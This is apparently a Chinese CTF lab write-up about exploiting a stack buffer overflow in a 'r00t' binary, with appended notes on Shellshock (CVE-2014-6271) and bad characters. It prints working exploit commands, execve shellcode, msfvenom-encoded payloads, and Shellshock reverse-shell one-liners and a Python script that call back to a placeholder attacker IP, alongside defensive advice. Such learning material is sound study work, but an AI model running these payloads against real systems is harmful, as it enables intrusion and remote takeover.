Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B用以上命令生成偏移较大的值,然后复制到gdb里面run。

找到溢出位置0x6a413969
cp /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb ./
./pattern_offset.rb -q 6a413969 -l 1000
得知偏移量是268,以下的door2不是door3,door2要输入一个参数来做偏移量。
(gdb)
r $(python -c 'print ("A"*268 + "B"*4)')
info r
r $(python -c 'print ("A"*268 + "B"*4+"C"*20)') 
到网页https://shell-storm.org/shellcode/index.html 上找execve /bin/sh找到对应版本的payload:https://shell-storm.org/shellcode/files/shellcode-827.html

*****************************************************
* Linux/x86 execve /bin/sh shellcode 23 bytes *
*****************************************************
* Author: Hamza Megahed *
*****************************************************
* Twitter: @Hamza_Mega *
*****************************************************
* blog: hamza-mega[dot]blogspot[dot]com *
*****************************************************
* E-mail: hamza[dot]megahed[at]gmail[dot]com *
*****************************************************
xor %eax,%eax
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp,%ebx
push %eax
push %ebx
mov %esp,%ecx
mov $0xb,%al
int $0x80
********************************
#include <stdio.h>
#include <string.h>
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
所以,构造payload为
./r00t $(python -c 'print "A"* 268 + "\x80\xfb\xff\xbf" + "\x90" *20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
cat /root/Proof.txt
搞错了,应该是door2不是door3。

方法二:检查坏字符
在gdb中调试
r $(python -c 'print("A"*268 + "B"*4 + "\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")')
x/256x $esp
x/256b $esp\x00本身就是坏字符,\x09 \x0a \x20这三个逐个去掉后找出,完全去掉后就连续了,就没有坏点了,说明坏字符为:x00\x0a\x09\x20

用坏字符生成payload,然后用命令加载即可。
msfvenom -a x86 -p linux/x86/exec CMD=/bin/sh -b '\x00\x09\x0a\x20' -e x86/shikata_ga_nai -fc
./r00t $(python -c 'print ("A"*268 + "\x80\xfb\xff\xbf" + "\x90"*20 + "\xba\xa0\x03\xb5\x23\xda\xc8\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x0b\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x55\x69\xbe\x7b\x0c\x3c\xa6\x13\x03\xa2\xaf\x03\x33\x0b\xc3\xa3\xc3\x3b\x0c\x56\xaa\xd5\xdb\x75\x7e\xc2\xd4\x79\x7e\x12\xca\x1b\x17\x7c\x3b\xaf\x8f\x80\x14\x1c\xc6\x60\x57\x22")')
这个靶场开始有难度了,涉及到一些内存的知识点。我对这部分知识也不太了解,很多不会的地方我询问了AI,安全学习是一个庞杂的方向,需要触类旁通。
补充知识点:CVE-2014-6271 (Shellshock 漏洞)
漏洞原理
- 根本原因:Bash 在处理环境变量时,未正确验证以
() {开头的函数定义字符串,导致后续命令被意外执行。 - 影响范围:Bash 版本 1.14 ~ 4.3(2014年9月前的版本)。
- 典型场景:Web服务器(如Apache CGI)、DHCP客户端、SSH守护进程等通过环境变量调用Bash的场景。
漏洞检测
方法 1:本地检测
env x='() { :;}; echo VULNERABLE' bash -c "echo Testing"- 安全输出:无反应或报错。
- 存在漏洞:输出
VULNERABLE和Testing。
方法 2:远程检测(针对Web CGI)
curl -A "() { :;}; echo VULNERABLE" http://target/cgi-bin/test.cgi- 若返回
VULNERABLE,则存在漏洞。
漏洞利用方法
场景 1:通过HTTP请求(Apache CGI)
假设目标服务器存在 /cgi-bin/status.cgi(或其他CGI脚本):
- 执行任意命令:
curl -H "User-Agent: () { :;}; /bin/bash -c 'cat /etc/passwd'" http://target/cgi-bin/status.cgi- 通过修改
User-Agent、Cookie或Referer头注入命令。
- 反弹Shell:
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/攻击者IP/4444 0>&1" http://target/cgi-bin/status.cgi- 在攻击机监听端口:
nc -lvnp 4444场景 2:DHCP客户端攻击
如果目标作为DHCP客户端且使用受漏洞影响的Bash:
- 攻击者可伪造DHCP服务器,在分配IP时注入恶意环境变量。
场景 3:SSH强制命令
若目标允许通过SSH公钥认证并配置了强制命令(如 command="example"):
ssh -i id_rsa user@target '() { :;}; /bin/bash -i >& /dev/tcp/攻击者IP/4444 0>&1'自动化利用工具
1. Metasploit
msf6 > use exploit/multi/http/apache_mod_cgi_bash_env
msf6 > set RHOSTS <目标IP>
msf6 > set TARGETURI /cgi-bin/status.cgi
msf6 > set PAYLOAD linux/x86/shell/reverse_tcp
msf6 > set LHOST <攻击者IP>
msf6 > exploit2. Python EXP脚本
import requests
url = "http://target/cgi-bin/status.cgi"
headers = {
"User-Agent": "() { :;}; /bin/bash -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 攻击者IP 4444 >/tmp/f'"
}
requests.get(url, headers=headers)补充知识点:缓冲区溢出漏洞
技术背景
strcpy的作用: 将源字符串复制到目标缓冲区,不检查目标缓冲区长度,可能导致缓冲区溢出(Buffer Overflow)。- 漏洞场景:
如果目标缓冲区(如栈上的字符数组)较小,而源字符串过长,
strcpy会覆盖栈上的返回地址(或其他关键数据),导致程序崩溃或被控制流劫持。
调试中如何观察
- 查看函数上下文
输入
disas或disassemble反汇编当前函数,观察strcpy调用前后的逻辑:
(gdb) disas main- 检查参数传递
-
在
call strcpy前,参数通过栈传递(x86架构)或寄存器传递(x86-64架构)。 -
例如,在 x86 中,参数按从右到左顺序压栈:
push 源字符串地址 ; 第二个参数(src)
push 目标缓冲区地址 ; 第一个参数(dest)
call strcpy- 设置断点
在
strcpy调用前设置断点,观察内存状态:
(gdb) break *0x0804848b ; 在调用 strcpy 的地址处断点
(gdb) run ; 运行程序
(gdb) info registers ; 查看寄存器值(如 ESP、EBP)
(gdb) x/8wx $esp ; 查看栈内容(x86)漏洞利用示例
假设目标缓冲区在栈上且无长度检查:
char buffer[64];
strcpy(buffer, 用户输入); // 用户输入超过 64 字节会导致溢出-
覆盖返回地址 构造输入字符串,覆盖栈上的返回地址为恶意代码地址(如 Shellcode)。
-
利用工具 使用 Python 或
pwntools生成 payload:
payload = b'A' * 64 # 填充缓冲区
payload += b'BBBB' # 覆盖 EBP
payload += p32(0xdeadbeef) # 覆盖返回地址- 在 GDB 中验证 输入超长字符串,观察程序崩溃时的寄存器值:
(gdb) run < payload.txt
Program received signal SIGSEGV, Segmentation fault.
eip = 0xdeadbeef ; 返回地址被成功覆盖防御与修复
- 替换安全函数
使用
strncpy或snprintf替代strcpy,并明确限制长度:
strncpy(buffer, src, sizeof(buffer)-1);
buffer[sizeof(buffer)-1] = '\0';- 编译选项 启用栈保护(Stack Canary)和地址随机化(ASLR):
gcc -fstack-protector -pie -fPIE -o program program.c攻击命令结构
./r00t $(python -c 'print "A"*268 + "\x80\xfb\xff\xbf" + "\x90"*20 + "<shellcode>"')该命令生成的输入字符串分为四部分:
"A"\*268:填充缓冲区到返回地址前的偏移。"\x80\xfb\xff\xbf":覆盖栈上的返回地址,指向NOP雪橇或shellcode。"\x90"\*20:NOP雪橇(滑板指令),提高shellcode命中率。<shellcode>:恶意机器码(如启动/bin/sh的代码)。
逐部分详解
1. 填充字符(“A”*268)
- 作用:覆盖从缓冲区起始位置到返回地址之间的空间。
- 长度计算:
通过动态调试(如 GDB)确定缓冲区到返回地址的偏移。假设缓冲区大小为 256 字节,加上保存的
EBP(4 字节),总偏移为 256 + 4 = 260 字节。若实际测试中发现需要 268 字节,可能是栈对齐或其他变量影响。
2. 覆盖返回地址(“\x80\xfb\xff\xbf”)
- 目标地址:
0xbffffb80(小端序,实际字节为\x80\xfb\xff\xbf)。 - 含义:
- 该地址指向栈上的某个位置(可能是
NOP雪橇或shellcode起始处)。 - 在关闭 ASLR 的系统中,栈地址通常固定(如
0xbffffxxx)。
3. NOP雪橇(“\x90”*20)
- 作用:
\x90是NOP(No Operation)指令,执行时不进行任何操作,程序计数器(EIP)会继续向后移动。- 增加
NOP雪橇的长度可提高命中率,即使返回地址略微偏差,仍可能滑入shellcode。
4. Shellcode
- 代码内容:
xor eax, eax ; \x31\xc0 (清空 eax)
push eax ; \x50 (压入字符串终止符 \x00)
push 0x68732f2f ; \x68\x2f\x2f\x73\x68 ("//sh")
push 0x6e69622f ; \x68\x2f\x62\x69\x6e ("/bin")
mov ebx, esp ; \x89\xe3 (ebx 指向 "/bin//sh")
push eax ; \x50 (argv[1] = NULL)
push ebx ; \x53 (argv[0] 指向 "/bin//sh")
mov ecx, esp ; \x89\xe1 (ecx 指向 argv)
mov al, 0xb ; \xb0\x0b (syscall 号 11: execve)
int 0x80 ; \xcd\x80 (触发系统调用)- 功能:调用
execve("/bin//sh", argv, NULL),启动一个交互式 shell。
攻击流程
- 溢出缓冲区:通过输入字符串覆盖栈上的返回地址。
- 劫持 EIP:程序返回时跳转到
0xbffffb80(指向NOP雪橇)。 - 滑入 Shellcode:CPU 执行
NOP指令,直到命中shellcode。 - 执行恶意代码:
shellcode启动/bin/sh,攻击者获得 shell 控制权。
依赖条件
-
栈可执行(DEP 关闭):现代系统默认启用数据执行保护(DEP),需目标程序编译时关闭该保护(
gcc -z execstack)。 -
ASLR 关闭:地址空间随机化会使得栈地址不可预测,需在测试环境中关闭:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space- 准确的偏移计算:需通过调试确定填充长度和返回地址位置。
调试验证步骤
- 确定偏移量:
# 生成测试字符串
python -c 'print "A"*268 + "BBBB" + "C"*100' > payload
# 在 GDB 中运行
gdb ./r00t
(gdb) run < payload
# 观察崩溃时 EIP 是否为 0x42424242("BBBB")- 定位 Shellcode 地址:
(gdb) run < <(python -c 'print "A"*268 + "\x80\xfb\xff\xbf" + "\x90"*20 + "shellcode"')
(gdb) x/32wx $esp # 查看栈内容,确认 NOP 和 shellcode 位置防御措施
- 启用 DEP/XN 位:阻止栈上代码执行。
- 启用 ASLR:随机化内存布局。
- 使用安全函数:替换
strcpy为strncpy或snprintf。 - 栈保护(Stack Canary):检测缓冲区溢出
补充知识点:坏字符
在缓冲区溢出攻击的调试过程中,你提供的命令用于检查内存布局和验证攻击载荷(payload)是否正确覆盖目标区域。以下是详细解析:
1. 构造的 Payload 分析
(gdb)
r $(python -c 'print("A"*268 + "B"*4 + "\x01\x02\x03\x04...\xff")')"A"\*268:填充到返回地址前的偏移(假设覆盖返回地址需要 268 字节)。"B"\*4:覆盖返回地址的测试值(0x42424242,即 ASCII “BBBB”)。\x01\x02\x03...\xff:覆盖返回地址后的内存区域,包含所有可能的单字节值(0x01~0xff)。
2. x/256x $esp 和 x/256b $esp 的作用
这两个 GDB 命令用于检查内存内容,但输出格式不同:
(1) x/256x $esp
-
作用:以 十六进制四字节字(word) 显示栈顶(
$esp指向的地址)开始的 256 个 word(即 256×4=1024 字节)。 -
快速查看大范围内存布局(如返回地址、栈帧结构)。
-
确认
"B"*4(0x42424242)是否覆盖到预期的返回地址位置。 -
观察后续数据(
\x01\x02\x03...)是否连续写入内存。
(2) x/256b $esp
-
作用:以 单字节(byte) 显示栈顶开始的 256 个字节。
-
精确检查每个字节的值,识别坏字符(Bad Characters)。
-
验证输入数据是否被篡改(如某些字符被过滤或截断)。
-
确认内存中的字节顺序(是否与输入顺序一致)。
3. 关键检查项
(1) 验证返回地址覆盖
- 在
x/256x $esp的输出中,搜索“0x42424242`。 - 如果找到,说明
"B"*4成功覆盖返回地址。 - 如果未找到,需重新计算偏移量(调整
"A"*268的长度)。
(2) 检测坏字符
-
坏字符(Bad Characters):某些字节(如
\x00、\x0a、\x0d)可能导致输入被截断或程序崩溃。 -
检查方法:
- 在
x/256b $esp的输出中,从0x01开始逐字节对比输入和内存中的值。 - 若某个字节在内存中缺失或值改变(如
0x09变为0x20),则该字节为坏字符。 - 在构造 Shellcode 时需避免使用坏字符。
(3) 观察内存连续性
-
确认输入数据(
\x01\x02\x03...)是否完整且顺序正确。 -
如果发现数据断裂或顺序错乱,可能因栈溢出破坏其他变量或指针。
4. 示例输出分析
假设执行 x/16x $esp 输出:
0xbffffb80: 0x41414141 0x41414141 0x41414141 0x42424242
0xbffffb90: 0x03020100 0x07060504 0x0b0a0908 0x0f0e0d0c
...- 覆盖验证:地址
0xbffffb8c处值为0x42424242,说明返回地址被正确覆盖。 - 数据连续性:后续数据
0x03020100对应输入\x00\x01\x02\x03(注意小端序)。
若执行 x/16b $esp 输出:
0xbffffb80: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffffb88: 0x41 0x41 0x41 0x41 0x42 0x42 0x42 0x42
...- 字节验证:输入
"A"(0x41)和"B"(0x42)正确写入内存。
5. 渗透测试中的应用
-
偏移量校准:通过多次运行和观察内存,调整
"A"*N的长度,确保返回地址精准覆盖。 -
坏字符列表生成:记录所有被篡改的字节,构建
BadChars = \x00\x09\x0a...。 -
Shellcode 适配 :使用编码器(如
msfvenom)生成不含坏字符的 Shellcode:
msfvenom -p linux/x86/exec CMD=/bin/sh -b '\x00\x09\x0a' -f python总结
x/256x $esp:用于快速观察内存布局,验证大范围数据覆盖。x/256b $esp:用于精细检查字节级数据,识别坏字符和输入篡改。- 在渗透测试中,这两个命令是调试缓冲区溢出漏洞的 核心工具,帮助确认攻击载荷的有效性和可靠性。
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
扫描下方二维码,马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
或者直接回复文章中的关键词,获取更多技术资料与书单推荐!📚